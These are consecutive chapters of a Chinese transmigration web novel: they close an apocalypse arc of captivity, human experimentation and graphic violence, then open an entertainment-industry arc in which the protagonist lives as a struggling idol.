“但凡你我出手,他就有办法把我们也打上寄生者的标签” “而且江林他真的是寄生者啊” 林铭瑄心中的一杆天平在不断地倾斜歪倒,他明明一向一视同仁的,就算是好兄弟变成寄生种他也能毫不犹豫地杀死对方。 现在却在给江林找借口,也许他不伤人呢。 但他被抓住现行,就是因为他在伤人 林政钰闭了闭眼,心中复杂难言,原本他还想着今晚邀请江林吃饭,感谢他昨晚出手相救,趁机拉近距离。 “他救不了了。”林政钰的声音很轻,艰难地从胸腔挤出来,他的血肉都是权力和欲望铸成,江林也许在他心中有位置,但绝不会占主导位置。 这是伊朗给他设下的圈套,他不会往里面钻,也不会允许任何人成为他的绊脚石。 林铭瑄隐在黑暗中,下颌紧绷,脸部肌肉在轻轻颤抖,理智道德在和情感极致拉扯 江林再次醒来,到了熟悉的实验室,他被关在一个四面透明的玻璃房子里,头顶炙热的灯光,他四肢被特制的科技链条锁住,脖子上更是装了电击环防止他反抗。 他透过玻璃谁都看不见,空旷的白房子,四面封闭,灯刺得眼睛疼。 看来江林透露给隗绍的消息还是有用的。 他不认为继续拖下去对任务会有任何的进展,还不如快刀斩乱麻。 门从雪白的墙上凭空出现,出现三个人,其中左边的就是方向阳。 这次方向阳没有能力再帮他带出去了。 蓝天基地藏龙卧虎,厉害的人不止他,脑部进化者也不止他。 “我还是第一次看见这种寄生者,身怀净化异能却被寄生”站在中间的人戴着眼镜,双眼饶有兴趣地看着江林:“方博士,之前我就好奇你很多样本和数据是哪里来的,现在我大概知道了。” “有他在,我相信我们的研究一定会突飞猛进的,简直是全人类的曙光啊。” “先给他注射病毒nck-11。” “不行。”方向阳下意识地阻止,眉头紧紧拧起。 “方博士,我是这次实验计划执行的第一责任人,放心,以他的体质,绝对能完美净化的。”他冰冷的双眼,毫无同理心。 他也不需要什么同理心,他们研究解剖过很多变异种和寄生种,又不是人类。 江林目光很静,在雪白的墙壁下,蓝色的眼睛格外深沉,并没有任何的反抗,他静静地和方向阳对视,像是要看进他心里。 方向阳心脏在胸腔狠狠撞了一下,他伸手按住旁边研究员的手腕,那人试图挣开,但失败了。 “怎么,方博士也被寄生了吗?这么关心你的同类?”右边那人质问道,两人一直不对付的。 江林笑了笑:“没关系的,博士。” 方向阳听到这话,永远都毫无波澜的情绪出现一些奇怪的波动,心脏有些不太舒服,堵得慌。 江林看着自己的血管被注入不明液体,让系统将他的意识剥离,冷眼旁观自己身体的异变。 三人退出纯白的禁闭室。 这才发现原来这是单向玻璃,其实外面站满了人,都在静静观察江林。 林铭瑄眼睁睁看着江林痛苦地瞪大双眼,眼球像是要爆裂突出,巨大的排异反应,在阻止他的异化,四肢化作触手,有触手在空气中无声爆裂,血染红了整个玻璃,血腥又不堪入目。 身体的扭曲,脸上爬满了若隐若现的青紫血管,仿佛下一秒就要异化,持续半个小时,才堪堪停下。 林铭瑄一直站在门口,一动没动,脚像是扎下根,动弹不得。 林政钰脸色眼底一片冰冷,这是伊朗给他们设下的诱饵也是下马威啊。 痛苦不堪的江林,让他的视线闪躲,不忍心看下去。 “不愧是净化异能者,这都没有发生异变,有天然的抗体吗?”有人轻声赞叹。 给江林注射的病毒是提纯后的最强病毒之一。 江林没什么感觉,像是长长睡了一觉,林政钰站在他面前,背着光,不知道看了他多久。 “部长”江林的刘海散乱,从地上爬起来,身上的衣服沾满了血,睫毛上也是血痂。 林政钰蹲下身,对江林的戒备心,让他一米后还跟着贴身保镖。 “你什么时候被寄生的。”林政钰平视着他的双眼。 “很久以前了。”江林面容平静地回答,脸色白得可怕,非常坦诚。 林政钰想要问清楚,喜欢他的是人还是怪物。 “你还是江林吗?” “是吧,我也不知道。”江林不确定地说道。 林政钰莫名地有些难受,喉咙微咽,居然冒出一点苦涩的感觉,“从头到尾都在骗我?” 江林定定看了他几秒,唇角倏地弯了弯,他全身都被禁锢着,纯白的茉莉被染上血色:“对,你说得对。” “那你对我的企图是什么?”林政钰反问。 江林便不说话了,那双眼如平静深海。 两人许久没说话,空气都停滞了,林政钰避开他的目光,强行压下心中的情绪,拿出一样东西,里面是一瓶药片。 “吃两片能无痛地死去。”林政钰说这话时,声音都在轻微的震颤。 对于他来说,这才是最好的解脱,以后可能是无尽的折磨。 “”江林低头看着他的白色药片,眼泪瞬间从脸颊滑落,砸在林政钰手背上,他维持着这个动作,两颗眼泪砸落。 江林推开他的手,声音很淡:“没关系,我愿意为人类做些什么,为你做些什么。” 林政钰手默默收紧,强调道:“只有这一次机会了” “没关系。”江林转身背对着他,背影瘦削。 林政钰走出房间很远,才想起来要呼吸,空气进入肺腑,刀割般凌冽,他忍不住看向窗外,冬天来的这么早 “老大,我求你了,你先别冲动。”许时按住刚刚包扎好的李野行,嘴里飞快解释道:“这是他们基地内的博弈,江林只是一颗棋子,但现在这颗棋子被发现有更大的利用价值,您觉得你单枪匹马真的能抵抗住整个基地吗?!” 李野行甩开他的手,面容凶狠:“那你让我眼睁睁看着江林死吗?” “我好不容易见到他的,许时,你知道我有多高兴吗?” “但是您现在去也只是送死!”许时就差求他冷静点了。 李野行当然知道自己可能只是送死,但那又怎么样。 “明天你和彭晶马上回金溪,不要管我。” 许时愣了愣,眼圈红了,“老大,你这是干什么” 李野行咧嘴笑了笑:“我李野行烂命一条,如果不是末世,我永远像个见不光的老鼠一样在边境苟且偷生,甚至无法回到我们的家乡祖国。从我三岁杀了我义父开始,我就没想过我能活多久。” 沟渠的老鼠窥见月亮,意图将其占据。 这次是他自愿入局的。 “许时,我从来不怕死,但我害怕失去江林。” 许时浑身都麻了,震惊于李野行浓厚的感情,他也许坏到极致、杀人如麻,但只要是他放在心尖上的人,就算知道豁出命去,也要去救。 就算知道只是徒劳。 “你就当我死在一年前,那片实验废墟中。” 李野行穿戴好衣物,配好枪械,笑容灿烂无比:“运气好,我能和江林死在一起,或者死之前见上一面运气不好的话,我就先去黄泉路等他。” “我和你一起去。”许时语无伦次地说道。 “不用你,别他妈打扰我求爱。” 很显然,李野行不是一个运气好的人。 他被堵截在实验室外,领头的人是隗绍,他身边强者如云,都是蓝天基地数一数二的异能者。 他为了抓住李野行也是煞费苦心了。 隗绍得到了命令只要李野行敢打江林的主意,就不必再管金溪基地,天高皇帝远,就算在这里弄死李野行,他手下的人也只能憋着。 “隗绍,这么久不见,你还是怂货一个。”李野行并不意外看见他,毕竟隗绍从一开始就对他表现出了惊人的恶意。 “逞口舌之快有什么用?”隗绍眯起眼,并不中激将法:“活捉了他。” 异能者的围攻并不是一般人能抵挡得住的。 双拳难敌四手,李野行落败了,他被人按在地上,隗绍唇角笑意加深,却不靠近他,“李野行今天就是你的死期。” “废物。”李野行轻笑骂道。 旋即,李野行突然暴起,挣开所有人,刀狠狠砍向隗绍,他来不及化形,下意识抬手挡住,鲜血喷射,被砍断的手臂落在地上。 李野行眼神极凶,所有想要他命的人,都要付出代价。 最终,李野行被折磨只剩下一口气,隗绍让人将他扔进了关押变异种的地牢,他看着李野行被分食殆尽,只剩下一些血肉残渣。 如同上辈子,李野行对待他一般 江林像是被圈养在笼子里的羊,任人宰割,连续三天,被注射了各种毒素和催化剂,似乎想要试试他身体的容毒量。 这是第一次江林在这里单独看见方向阳。 方向阳直直朝着他走来,江林也下意识地抓住他的衣角,眼圈红了,这三天除了痛苦地呻/吟,几乎没开过口,沙哑哽咽:“博士,我好疼” 方向阳记忆不错,记得江林说过,他最怕疼了。 “” 他抬手解开江林脖子上的电击项圈:“我带你离开。” “你怎么带我离开?”江林怔了怔,抓住他的手腕,手背都是青紫的注射孔,他说:“你干了什么?” “我让他们暂时睡着了。”方向阳说。 “你要带我离开,除非你把整个基地的人杀了那个人说了,我的报告已经呈交上了联邦,我们会被通缉的,我没有去处,博士。”江林根本没有退路。 他也没想到自己这副身体用处这么大。随着这些天越来越多陌生的人来参观自己,他被注射试剂后,重视他的伤势,专人对他进行治疗。 他的研究价值也许比他想象的还高。 “我说过的,如果我能救人,我愿意的,这没什么你不是每天都在陪着我吗?”江林双眼很纯,这些天没有睡,他的状态很差,下陷的眼圈,皲裂的嘴角,明明很痛苦却还在轻声安慰方向阳:“博士,下次让他们扎针的时候轻一点就好了,我没关系的。我也不会走了他们说我能够拯救人类是不是很厉害?” 江林嘴上这么说,但其实每次被注射试剂,他的意识都会躲到系统空间睡觉,身体的痛苦也被屏蔽,只是外人看着他惨罢了。 方向阳被陌生的情绪包围,这些情绪在他胸腔撕扯,在临界的某一点爆发,名为难过的情绪在蔓延。 监控室下,原本要行动的众人,在听见江林这话后,没了动作。 人人都说寄生种是残暴嗜血的掠食者。 但江林真的是掠食者吗? 有掠食者会想拯救人类吗? 这三天他们都在监视器下看着他,除非异化,平时都只是缩在角落里,连扎针都会蹙眉害怕的少年,自愿留下,他明明有两次机会也许能够解脱,看得良心未泯的人心软难受。 守在监视器下异能者们,看着他对方向阳扬起笑脸,手抓男人的手放在自己脸颊蹭了蹭,很乖顺:“方博士我说过我是你最乖的实验体,我会听话的。” 第70章 “其实宿主有更保险的方案不是吗?”系统的声音在脑海中响起, 在方向阳被带走之后。 江林可以选择温水煮青蛙,可以耗上十年、二十年去攻略,但他并不想花那么多时间耗在他们身上, 所以依旧选择最为极端的方式。 他对他们的耐心为零。 “您就不怕如果攻略值不够,会受到惩罚或者重生吗?”系统又问。 “那我的惩罚是什么?”江林语气无所谓, 抹杀什么的已经根本危险不到他了。 他更想要自由,更想要主神死。 他偏偏不如他们的意。 只需要再忍耐一下就好了。 系统便不说话了。 江林说得对,有它在死亡对他来说是解脱, 而对他们来说是折磨 方向阳刚走,门又徐徐打开, 穿着军服的林铭瑄面无表情地走进来,他全副武装,径直朝着江林走来。 他这三天无数次看着江林不断异变成怪物,心如刀割,想要说服自己这已经不再是江林,他不应该心软。 但心中的声音在告诉他, 这就是江林, 不是别的什么东西。 江林眼尾还是红的, 刚刚哭过,他仰着脸看着林铭瑄, 唇角弯了弯:“队长, 你来杀我吗?” 林铭瑄半跪下身,脸色很差,抓住他的手腕:“江林你不应该是这样的结局。” 如果江林刚刚和方向阳离开, 他会为他挡住基地的一切,但现在没有机会了,那些人已经将实验室包围起来了。 江林眨了眨眼, 瘦削的脸,下陷的眼窝,显得眼睛极大,无辜又清澈,眼中带泪的笑容,“队长,我是寄生种,你怎么能心软呢。” 林铭瑄心里难受,握着江林冰冷的手腕,伸手将人抱住:“你会恨我没有保护好你吗?” “不会的。”江林摸了摸他的背。 一次次看着心爱的人被折磨是什么感觉呢,那会让人的心态失衡,心中恨不得毁掉这个世界。 但江林是个小天使。 “队长,别难过,这一切都是我自愿的。”江林语气很轻,阐述着一个轻如羽毛的事实。 江林被申请执行监禁,以后再见到他不会那么容易,所以这次林铭瑄必须来见他。 江林不愿意走,他就一直陪着他吧。 门后涌入军队,不由分说地射击,江林甚至还没反应过来,林铭瑄便死在了他怀中,身后布满了血窟窿,他没有反抗,只是紧紧抱住江林的身体。 这些人没有伤害江林,枪弹精准对向的都是林铭瑄。 江林没有什么表情,轻轻松开林铭瑄没有气息的身体,眼底薄情淡漠。 林铭瑄的死亡极为突然,伊朗釜底抽薪,胆大包天,但监视视频为证他坚持林铭瑄想要救寄生种,他们以为他也被寄生了才动手的。 这些对林政钰的打击极大,蓝天基地彻底乱了,第三方力量持续介入,让原本混乱的局面一发不可收拾。 同时伊朗将普通人当作猎物射杀的残暴视频流出,掀起了巨大的民怨。 江林被转移到了另外的地方,是一个更加宽敞的实验室,这次他可以看见外面来往的人群了。 他被锁在水床上,四肢被固定,下颌处都有药水打湿他的衣襟。 他看见了右臂空荡荡的隗绍,他跟在伊朗身后,远远注视着他。 隗绍看着江林这样,应该觉得很高兴才对,终于这个背叛他的男人也得到了他应有的结果,前世的仇都已经报了。 但此刻却并没有多高兴,直到意识被抽离,他感觉自己的身体不受控制,这种奇怪的感觉又来了,眼前一黑。 江林无声呢喃着:“出来吧,我的乖狗。” 精神力刺向隗绍,脖子上的电击手环闪烁着电光。 隗绍变成了‘隗绍’。 “是你吗?” “我在。”这次隗绍没有张嘴,但那双兽瞳却直勾勾看着他,阴湿的表情陡然变得不同,低沉沙哑的嗓音。 “寄生我。”江林脸色苍白虚弱,用精神力命令说,他的耳朵泡在水中,有流水潺潺流过,浑身冰冷。 这是他一开始的打算,让他们互相折磨去吧。 ‘隗绍’有些犹豫,“那您怎么办” “听话,寄生我,我们以后还能继续再见的。”江林毫不犹豫地给他画饼,声音带着一些诱惑,许下虚无缥缈的诺言:“以后再见面,我会亲吻你的额头,让你一直跟着我好不好?” “好”像是被打动了,声音变得莫名激动起来。 伊朗被突然异变的‘江林’吓了一跳,江林的四肢突然分化,触手乱飞,仿佛被刺痛,直接从禁锢中逃脱,瞬间响起红色的警报。 房间喷射出麻醉气体,门层层封锁,警报声刺耳。 巨大的撞击声响起,玻璃碎裂了,白雾层层下,是失控庞大的寄生种。 隗绍也突然发生了异化,里面外面都乱作一团,四处逃窜的研究员,尖叫声冲破天际 “嘀——宿主已脱离小说界面,立刻进入下一世界吗?” “是。” 林政钰得到研究院的混乱后,毫不犹豫先攻击了伊朗,同样给他扣上了可能被寄生的帽子,毕竟隗绍现在明面上是他的人。 “我始终无法接受队长居然就这么死了。”特调小队从前的老队员坐在一起,等待着军部的调遣,“江林真的被寄生了?” “就算江林被寄生,也绝对不可能害人,他从来只会救人。” “哎,那石家姐弟也可怜,到处找人求情,想要救出江林” “现在谁敢插手江林的事儿?队长都死了” “队长的死绝对有蹊跷。” 他们知道有蹊跷,也知道是别人设下的局,但并不能改变什么,毕竟连林政钰都只能吃了哑巴亏 “方博士,你已经不吃不喝两天了,您还是补充一点能量吧。”这是方向阳的小助理,实在有些于心不忍提醒道。 方向阳隔着特制钢化玻璃,看着虽然恢复人形,却双眼凶狠通红的‘江林’,一整夜过去,眼前的人还是没有变化。 江林已经不是江林了。 那不是他。 方向阳莫名地笃定,明明外观上没有任何区别。 他饲养的小怪物他最了解。 他不会这样失控,那双眼绝不会透出这种神情。 他彻底走了。 方向阳收回注视他的视线,眉眼间堆满了疲惫和冰冷,转身离开了实验室。 他回到住处,石家姐弟还没出门,他们想去看看江林哥哥也一直没机会,所有人都说江林被寄生了,但他们不信。 许时和彭晶两人也在,他们看着面色冰冷的方向阳,一下噤声了,这是这些天他们第一次见到他。 之前他都没回来的。 石欢围了上去,追问道:“您知道是不是?江林哥哥他真的回不来了吗?” 方向阳被拦住了去路,视线落在她身上,点头道:“对。” “怎么会?”石欢顿时崩溃了。 “不要再做无用功了,他已经死了。”方向阳这么告诉他们,如果不是江林之前对他们的善意,他绝对不会搭理他们。 他回到自己房间,整洁干净的卧室,床头柜上放着一个蓝色的香薰,是江林放的,他说不喜欢他房间里消毒水的味道。 他停顿几秒,收起香薰,放进抽屉里。 “你们跟着我们回金溪吧,现在蓝天并不安宁。”彭晶提议道,他的伤已经好了,李野行的死让人唏嘘。 他从前对李野行有怨,现在也随着他的死亡随风飘散了。 接二连三的死亡讯息,让他们感觉到了风雨欲来的压迫感。 现在李野行死了,金溪有老九坐镇也不会乱。 石欢姐弟考虑了一晚上,最终还是决定跟着彭晶几人回金溪,他们留在这里,不管是选择谁,伊朗也好,林政钰也好,另外一方都不会让他们好过。 他们和江林关系这么好,很可能打上寄生种的标签 实验室。 “19号又发生暴动了?”正在数据室监控数据的两人打了哈切,其中一位女孩问。 “嗯哼。”男生回答,视线移到那边视频上:“方博士这是把19号往死里折腾啊,之前不是还有人说两人关系不浅吗?” 连续两个月,19号也就是现在‘江林’被方向阳以雷霆极端的手段折磨得奄奄一息,触手都被砍断,直到再也长不出来。 结果是喜人的,各项关于净化的研究疫苗得到突飞猛进的成果,甚至还研究出寄生种的一些数据能用于监测和防御。 “方博士是真狠啊。”女生打了寒颤:“上次我看见他直接把19号开膛破肚肠子都扯出来了。” 而寄生在江林身上的‘隗绍’则很委屈,明明精神力比一般人都强,却被折磨得精神分裂,但分裂的精神附在触手上,全部被斩断碾碎了。 ‘隗绍’想死都死不了。 他看向方向阳的眼神带着惧怕,但避无可避,只能被继续封锁折磨 隗绍在上次暴乱中也被活抓,现在被关在其他地方。 不过他的自愈能力比较差,一个月就死了。 他的房间入住了一个新的寄生者,他说他不是寄生种,他叫林政钰,他是被冤枉的。 但有不止一人目击他变成寄生种伤人。 98号也被分在方向阳手下,用了很多种手段,98号都没有发生异化。 被方向阳称为最狡猾顽固的寄生种 一年后,19号不堪重负咽了气,彼时98号还在苟延残喘,方向阳不让他死,他就死不了。 这时已经没人记得江林,也没人记得曾经赫赫有名的林家兄弟,现在蓝天的基地长也不是伊朗,而是另外一位联邦军官。 方向阳的地下实验室。 实验台上放着一具尸体,方向阳正戴着手套,低头将他的血管和皮肉一点点从身体上剥离,露出森森白骨,眼珠滚落在地上,内脏扔进垃圾桶里,血流了满地,却无人在意。 方向阳把白骨上的血冲洗干净,露出漂亮雪白的骨架,他恍惚间似乎看见了江林的脸在眼前一闪而过。 “那些东西怎么能占据你的身体” 这才是干干净净的江林。 方向阳摩梭着他的白骨,眼镜下的眸子淡漠,虔诚地低下头,在他头骨上落下一吻。 “总算干净了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 #遂遇而安是真的# 某博热搜关于两人的词条直冲热榜。 评论一条一条地刷起来。 【二字能不能别蹭啊?】 【好恶心啊, 扒在小安身上吸血,到底要吸多久才够啊。】 【法务呢?!】 【江遂退团!!】 【也不知道他怎么出道的,跳舞不行, 唱歌也烂,真服了。】 【都怪那群没脑子的cp粉。】 唯粉破防的同时, cp则是狂欢起来。 【谁破防了我不说。】 【江遂他超爱,看见老公脸都要笑烂了,好甜好甜。】 【两人还是穿的同一个设计师品牌的衣服, 啧啧,小心思根本藏不住啦。(欢呼)(欢呼)】 【星安也是啊, 遂子手上的手链就是星安同款吧,星安送的吧!!】 【小情侣真的好甜。】 紧接着下面是各种红毯造型的热搜。 其中话题中的两个主角,分别是今年《造星》选秀限定团中的两位。 一位是唱跳rap编曲样样精通的断层tap,一位是靠着颜值出圈,唱歌跑调跳舞划水的吊车尾选手,整个选秀期间全靠蹭。 当时江遂出道的时候一片骂声 “江哥, 热搜被宁星安团队那边撤了”江遂的助理转头看向后座上闭目养神的男人, 声音有些紧张。 江遂本名江林, 江遂是公司给他取的艺名。 大半张脸藏在阴影下,只露出凌厉磊落的下颌线, 黑色刺绣的空心西装, v字领,伶仃凸出的锁骨,肌肤呈冷白色, 露出点点胸肌曲线。 红毯上各路明星各凭本事,都想博得关注,赚取流量。 江林唇形薄而有型, 泛着健康的红色,身材是天生的衣架子,肩宽腰细腿长,缓缓吐出两个字:“算了。” 江林刚刚接收完这个世界的讯息,大致对江遂这个人设有了一丝了解。 一个想红想得要命的花瓶。 都说娱乐圈是名利场,但在真的有权有钱人的眼中娱乐圈这些人就是戏子。 江遂这人从小出生在一个五毒俱全的家庭,吸/毒的爸,嗜赌的妈,重病的姥,以及趋炎附势的他。 在这样环境下长大的江遂,并没有出淤泥而不染,他从小为了一口吃的不择手段,小时候没少挨揍。 但好在他有一副好皮囊,被星探发现带入娱乐圈。 在流量为王的娱乐圈,《造星》的热度大不如前,流量全部都聚集在宁星安一人身上,所以江遂从一开始就打定主意蹭,处心积虑和他一组,炒作队友情,各种骚操作,热搜没少买。 也算是黑红第一人。 但公司并没有阻止他的行为。 黑红也算红不是? 这段时间热度过去,原主江遂为了红,爬了不少人的床,后来也算流量小生一枚,但最后的结局却不甚美好,他得罪了某个权势,丑闻艳照满天飞,彻底成为了过街老鼠。 “红姐让您去个酒局,说是有不少资本大佬”助理小庄正在不断翻看评论和回复消息。 江林签的公司是小作坊,红姐算是他半个经纪人兼老板,现在化身拉皮条的,说是酒局,不过是光明正大的男/淫/女/娼。 “说我感冒了,今天去不了。”江遂声音低沉,天生的好嗓子,就是唱歌没调,再好听也是白瞎。 以现在江林的咖位和公司在圈内的地位,这种酒局也都是一些不着五六的,什么网剧制片导演,什么乱七八糟杂志的编辑,什么满脑肥油的暴发户 原主谁都不挑,谁都能做。 江林不行,所以果断拒绝。 小庄不敢忤逆江林,他性格不好,生气的时候是真打人,而且现在江林也算是公司一哥,红姐也要给他两分面子。 果不其然,小庄的消息发过去,红姐只是骂了一句不识好歹,倒也没有强制为难他。 限定团名存实亡,各家背后资源都不同,一起的活动几乎没有,今天的红毯都是红姐求爷爷告奶奶找来的邀请函,热搜更是江林自掏腰包买的。 江林抬手捏了捏眉心,阴影撒在如绸般的手腕肌肤上,身上的西装也是废了大劲借的,虽然是同个设计师的衣服,而宁星安的是当季新款,他的是过季旧款。 他这个人设满心铜臭权力,豁得出去,又有些小聪明,对于他这种没背景、没实力的小透明来说,要么十年磨一剑,演技出圈。 要么,寻找捷径。 娱乐圈看着光鲜亮丽,但其中的龌龊事儿可不少,一个个削尖脑袋往上爬,江林唯一庆幸的是,这次大概不用像末世一样挨饿,每天都能安生睡觉。 /// “叮咚——” 江林天刚擦亮,门铃便催命似的响起来,他睡眼蒙眬地醒来,门外站着包子脸的小庄,脸上带着讨好的笑,手上拿着早餐:“哥,我们今天有拍摄,需要早点起” 因为原主一番操作,流量不少,所以也接了一些通告。 小庄提心吊胆却发现今天江林似乎心情不错,没有黑脸也没有骂人,还客气地让他先坐着休息。 江林拍摄的杂志,在他看来是擦边性质不入流的,但其他人倒是不以为然,拍多了就麻木了,认为这是艺术。 主题是——禁欲。 摄影棚围着一圈人,打光的打光,布景的布景,修图的修图,气氛还算融洽,有说有笑的。 “准备了奶茶,辛苦江老师了。”化妆师正在给江林化妆,他眯着眼看过去,来人是这次摄影师的助理。 江林没说话,小庄接过奶茶,不好意思地笑了笑:“不好意思,我们江遂最近在戒糖。” “这样啊?江老师可真敬业啊。”助理假笑追捧,背过脸就骂江林是装货。 江林看破不说破,换上西装,黑色外套,身材笔挺,笔直的长腿,腰臀比极佳,曲线勾勒性感。 “表情再酷一点,不要看镜头。”摄影师拿着黑色大炮对准他,咔嚓声很快。 江林坐在椅子上,大马金刀地坐着,带着名表的手自然垂着,衣领被扯得有些凌乱,头发用发胶根根固定在完美的位置,露出光洁额头,深陷的眼窝,眉疏目淡,仿佛做作拗造型的不是他。 摄影师越拍越快,他还以为江林是块木头,只是长得好,没想到他的眼神给的很到位。 娱乐圈的美女帅哥一抓一大把,但眼神这么带劲的还真不多。 “休息一下,道具组把之前那些红绳拿过来。”摄影师是个男人,三十来岁,头发齐肩微卷,用一根皮筋扎着。 江林手腕被红绳绑住的时候,轻轻挑了下眉,唇角微微勾起,看向摄影师,笑着问了一句:“这拍摄正经吗?” 摄影师是个gay,在圈内也是小有名气,一改刚来时候的冷淡,脸上冒出点笑容,开玩笑道:“包不正经的。” 严格来说,这次江林算是捡漏,原定的拍摄对象放了鸽子。 “捆绑play啊?”江林靠在椅子上,那双深邃的眼睛直直盯着摄影师,嘴角噙着玩世不恭的笑,身材极好,手臂肌肉线条被白衬衫遮得若隐若现,浑身散发着性感的荷尔蒙气息。 “正经工作。”摄影师调整了一下摄像头,对准江林的脸又拍了几张。 江林的手在后面被束缚住,红绳拖得很长,直到脚边,外套被脱掉,领带也被解开,露出一点喉结和锁骨。 “宝贝转过来,眼神再凶一点。”摄影师对准江林手腕上蜿蜒的青筋 拍摄结束,江林发现摄影师硬/了,手上多了一张房卡。 他笑着收下,对于他的撩拨不为所动,上车之后就给了小庄,轻笑道:“小庄,你的机会来了。” 小庄连忙摆手:“这我可不敢要。” 江林塞进他手里,“那你帮我扔了。” 小庄老实拿住,莫名其妙地有些心跳加速,脑海中都是江林被绑着手腕,跪在地上,仰头桀骜的表情。 第一次觉得之前微博的评论有句话说的很对。 江林的脸就是老天爷赏饭吃。 之前有人说江遂是基圈天菜,他深受江林折磨不以为然,今天倒是又默默认同且点赞了,他们家艺人不发火的时候还是很帅的。 “晚上没事了吧?”江林早上六点多就醒了,还在浴缸里泡了两小时,早就想下班了。 “红姐让您去参加xx的晚宴”小庄便道。 江林啧了一声,这次没拒绝。 /// 刚到楼下,蒋红便来车库接他,虽然她不太喜欢江林的个性,但每次扫过这张脸,都能心情平和一些。 凭着这张脸,就算不会演戏,好好包装和利用一下,也能给她带来不小的利益。 “这次是因为xx的奢侈品新款上市,来的都是一些名流,明星就来四位,都是大咖,你算捎带的配角这次我动用了不少关系,结束后你不要再任性了,陪黄总喝一杯”蒋红有远见但不高,昨天组的局就是为了那位黄总能成事,但被江林拒绝了。 黄总便觉得自己被打了脸,被瞧不起了,觉着自己给的筹码不够,今天咬牙让江林顶上某个流量小生的位置。 这不算什么正经活动,他们这些明星艺人只是销售的作用,带着珠光宝气的饰品,穿着华丽的衣服,陪陪酒,逗逗乐,重点还是在那些‘上流人’身上。 电子产品不能带,宴会有摄影,但那些照片会进行严格的管控,坚决不让不该流出的照片泄露。 “行,红姐真的为了我煞费苦心。”江林想要讨好人,嘴就像是抹了蜜似的,可以将人哄得心花怒放,他若是想骂人,那也是淬毒似的,全看他的心情。 蒋红见他识相,脸色总算缓和些,“走,先上去换衣服。” 第72章 “这次黄总可算是给足了你面子, 咱们就识相些娱乐圈长相好的可不止你一个,多少人珍珠蒙尘,一辈子碌碌无为没有出头日?有机会我们就要把握”蒋红在电梯见没外人, 便又忍不住教育起来。 她能够到的人只有这么多,苍蝇再小也是肉, 在娱乐圈混出名有几个是干干净净的? 赚钱也不丢人。 “道理我都懂的红姐,您就放心吧。”江林亲昵地搭在她肩膀上,像个亲密无间的好姐弟, “红姐这些天为我奔波辛苦了,今晚就看我的吧。” 江林嘴上哄着, 至于行动上那就另说吧。 蒋红总算露出点笑脸了,“我们利益相连,荣辱与共,我不会害你的” 江林记得那个黄总,是个卖奶糖的,也想分一份娱乐圈的羹, 只是到现在还是个门外汉, 自身难保。 原本两人一间的化妆间, 由于这次另外三个都是一些流量小花小生,不屑和江林一个化妆间, 他因此能也能自己一个化妆间。 化妆师和服装师给他搭配化妆, 江林自己并没有特邀的化妆师。像那些比较有名的化妆师,一天的时间都是四位数。 化妆师也算是娱乐圈独一份的手艺人了,遇到适配的化妆师, 放大优点遮掩缺点,便能收获一众好评,差的化妆师, 也会被明星甩锅骂出天际就是了。 江林这个化妆师还是蒋红借来的,好在他这张脸倒也没有难度,穿上白色的西装外套,里面什么都穿,胸前是淡色的刺绣,大片展露着姣好的身材,半遮半露的胸肌。 江林乌黑的睫毛纤长,洒下阴影,化妆师正在给他画眼影,然后提醒他往上看,眼线勾勒下眼睑,他从化妆师眼中瞧见了毫不遮掩的鄙夷。 他对这些眼神不以为然,定位清晰,自己就是明码标价的商品,露些身体也不会少块肉。 晚宴在顶级酒店举行,一排排白色的长桌,桌上铺满了鲜花,暗色调的光,有一个小舞台,举办晚宴的负责人在上面寒暄了几分钟,接着便上菜上酒了。 四个明星分别坐在不同桌的中间,他们打扮得光鲜漂亮、化妆香水样样不落,但这些正经客人们其实并没有这么严肃,有些穿着颇为休闲。 这种场合不会请太多明星,那会显得哗众取宠,夺了主人家的派头。 四个不少不多,江林在娱乐圈崭露头角根本没几个人认识他,他也不怯场,端着酒,毕恭毕敬地陪着这些哥哥姐姐们喝酒。 他唇角噙着淡淡的笑,不是那一水流乖顺明星挂的,黑眸深邃,眉眼精致却不女气,眼神也带着丝丝傲气似的,下巴微扬,姿态拿捏得高,但说话却客客气气的,让人觉得舒服。 “你脖子上的项链不错。”卷长发的红衣姐姐,伸出涂着指甲的手指,在江林戴着的翡翠项链上点了点,手指轻轻滑过他的锁骨,脸上带着笑。 “姐姐,要看看吗?”江林才20岁,也许是在场最小的,喊哥哥姐姐没毛病。 他唇角弯弯,舒展着脖颈,喉结在暗色下轻轻滚动着,泛着冷白的性感,姐姐的手在喉结上摸了摸,显然对他很满意。 江林口袋里又多了一张名片。 觥筹交错、音乐悦耳,款款流动的氛围极好,暧昧又不失高雅。 却在某几秒钟有安静的停顿,江林不明所以,抬眼往四周看去,便瞧见姗姗来迟的人,从门口被簇拥着前来,坐在了最前面中心的位置上,只能远远瞧见俊美的脸,但脸色不善。 “咦?白家那位怎么也来了?”议论声在江林耳边响起,他竖起耳朵听起来。 他们以酒杯掩盖嘴型,声音流窜而出:“这样的席面也能请动他了?” “他和这家大小姐在谈婚论嫁呢,来捧场也正常。” “但不是说,白宝戎是个同性恋吗?” “那些都是谣言,你还真信啊?” 江林嘴里砸吧着这三个字,白宝戎。 白宝戎这个名字在娱乐圈不算如雷贯耳,但娱乐圈最上层那波人却没有人不知道。 最有钱有势的那波投资人。 白家重心没有在娱乐圈,但这几年也有涉猎,毕竟娱乐圈的确是捞金地,谁都想分一杯羹。 白宝戎是现在白家老爷子仅存的儿子,之前四个儿女全因为各种原因死了。 就算是私生子也变成了命根子。 江林盘算了一下性价比,全场没有比白宝戎更合适的人选了。 / 白宝戎脸色阴沉,眉眼间透出几分乖戾,他环臂靠着椅子,没有给任何人好脸色,他二十五岁,委实不着急结婚生孩子。 但奈何白老爷子如今六十多催得急,今天又和他大吵一架,他被司机强硬带到了白老爷子选好的儿媳妇面前。 姜如云美艳漂亮,年纪轻轻稳坐公司首席执行官的位置,对于白宝戎这人她其实瞧不上,混世魔王一个,不过是运气好,前面哥哥姐姐死完了,给他捡到好处了。 但白家却是庞然大物,她只能笑脸相迎。 “宝戎难得你有空给面来,看上什么我都送你了。”姜如云红唇微勾,给他倒了一杯酒。 白宝戎却不给面儿,面无表情地看着她,不接茬,不动手,不给笑脸儿。 姜如云脸上笑容未变,声儿却低了低:“我让老爷子的人先走,让他放心您在我这儿安全得很。” 白宝戎这才正眼瞧了她,扯出不冷不热的笑:“你还算有点用。” 他的性格乖戾无常,从小身为最小的私生子,前十八年都寄人篱下,被人戳着脊梁骨骂拖油瓶,私生子,如今一朝得势,自觉带着一点厌世情绪,瞧不上周围趋炎附势的人。 